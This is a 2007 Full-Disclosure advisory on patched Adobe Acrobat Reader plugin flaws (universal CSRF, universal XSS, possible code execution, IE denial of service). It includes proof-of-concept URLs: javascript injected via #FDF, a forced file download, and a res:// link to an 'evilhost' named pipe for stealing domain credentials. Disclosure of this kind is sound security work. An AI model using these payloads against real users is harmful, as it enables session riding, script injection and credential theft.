

[Full-disclosure] Adobe Acrobat Reader Plugin – Multiple Vulnerabilities

Source: <http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2007-01/msg00064.html>

- *From:* Stefano Di Paola <stefano.dipaola@xxxxxxxx>
 - *Date:* Wed, 03 Jan 2007 18:22:49 +0100
-

Adobe Acrobat Reader Plugin – Multiple Vulnerabilities

Original Advisory:

<http://www.wisec.it/vulns.php?page=9>

Original Discovery and Research:

Stefano Di Paola

Contribution:

Giorgio Fedon (IE Dos, UXSS Analysis)

Elia Florio (Poc and Code Execution analysis)

Status: Vendor Informed on 15 October 2006

Patched: Yes

Please upgrade your current version of adobe acrobat

Brief Intro:

During our lecture at 23C3 (Subverting Ajax), we presented some interesting attack vectors to take advantage of the dangerous vulnerability called "Prototype Hijacking" in browser frameworks. Any XSS represents a good entry point, and single Universal XSS is de facto the best entry point.

Since Adobe did a great job and patched in less than 1 month the issues herein reported, we decided to undisclosed our findings during 23C3 to make the audience better understand risks and impacts of high-level plugins vulnerabilities (e.g. Func. Integration and not memory corruption).

There is also a possible remote code execution (RCE), but was not the focus of our talk.

Affected Versions:

[Full-disclosure] Adobe Acrobat Reader Plugin – Multiple Vulnerabilities

Adobe Acrobat Reader plugin 7 (fully patched) and Below

Tested On:

Firefox 1.5.0.7 and Below, 2.0RC2 under Windows XP SP2

Firefox 1.5.0.7 and Below, 2.0RC2 under Ubuntu 6.06

Internet Explorer SP2 under Windows XP SP2

Summary:

Adobe Acrobat plugin for Mozilla Firefox (acroreader) is able to populate Portable Documents (PDF files) forms by supplying an external set of datas through the FDF, XML, or XFDF fields.

Implementation of FDF, XML, XFDF

(<http://partners.adobe.com/public/developer/en/acrobat/PDFOpenParameters.pdf>)

functionalities in Acrobat Reader Plugin is vulnerable to different kind of attacks.

Vulnerability extent changes from browser to browser:

1. Universal CSRF / session riding;
(Mozilla Firefox, Internet Explorer, Opera + Acrobat Reader plugin)
2. UXSS in #FDF, #XML e #XFDF;
(Mozilla Firefox + Acrobat Reader plugin)
3. Possible Remote Code Execution;
(Mozilla Firefox + Acrobat Reader plugin)
4. Denial of Service;
(Internet Explorer + Acrobat Reader plugin)

1. Universal CSRF and session riding

This is probably Adobe related as all tested browsers (IE,Firefox,Opera) where affected.

The issue is that by creating a special link like this:

<http://site.com/file.pdf#FDF=http://victim.com/index.html?param=...>

automatically Adobe plugin sends a request to 'victim.com' without user interaction asking

for defined page in 'fdf' parameter. This could be used as a Universal Session Riding (aka UCSRF)

attack which is a well known vulnerability.

Note that the same effect is accomplished by using 'xml' and 'xfdf' parameters.

=====

2. UXSS in #FDF, #XML e #XFDF

In addition by using the following request, is possible to execute javascript code inside Firefox browser:

[http://site.com/file.pdf#FDF=javascript:alert\('Test Alert'\)](http://site.com/file.pdf#FDF=javascript:alert('Test Alert'))

The previous could be triggered against a site and because of this is a Universal Cross Site Scripting.

UXSS is a particular type of Cross Site Scripting and has the ability to be triggered

by exploiting flaws inside browsers, instead of leveraging the vulnerabilities against

insecure web sites. It's also possible to force clients to download files by supplying:

<http://site.com/file.pdf#FDF=javascript:document.location='file://C:/winnt/notepad.exe'>

<Alternative_Attack>

Alternative Attack using NamedPipes

– http://www.514.es/2006/10/exploiting_win32_design_flaws.html

In order to steal Domain credentials with explorer :

<http://anyhost/file.pdf#fdf=res://\\evilhost\pipe\apipe>

and then by applying techniques found in 514.es paper we found this kind of url and protocol (res://) could be used too.

This means that also Internet Explorer could be abused in conjunction of

Adobe plugin to make attacks on internal LANs and get victims credentials.

</Alternative_Attack>

3. Possible Remote Code Execution

There is also a possible Remote code Execution by leveraging a memory corruption inside

Firefox by supplying the following request:

[http://site.com/file.pdf#FDF=javascript:document.write\('jjjj...'\);](http://site.com/file.pdf#FDF=javascript:document.write('jjjj...');)

[Full-disclosure] Adobe Acrobat Reader Plugin – Multiple Vulnerabilities

It's possible to cause a DoubleFree() error and to overwrite part of the Structural Exception Handler.

Runtime vulnerability analysis

The problem seems to be caused by a "Double MSVCRT.free()" executed by Acrobat plugin.

The routine which cause Firefox to crash is located in the following call to NP_Shutdown().

Elia Florio is credited for Runtime analysis and exploitation.

NB. The POC of this vulnerability won't be released.

=====

4. Denial of Service (Internet Explorer only);

By supplying the following request via the web browser, it's possible to cause a denial of service in Internet Explorer:

[http://site.com/file.pdf#####...\(More '#'\)](http://site.com/file.pdf#####...(More '#'))

The application is waiting for more inputs and allocates more memory.

--

...oOOo...oOOo....

Stefano Di Paola

Software & Security Engineer

Web: www.wisec.it

.....

Full-Disclosure – We believe in it.

Charter: <http://lists.grok.org.uk/full-disclosure-charter.html>

Hosted and sponsored by Secunia – <http://secunia.com/>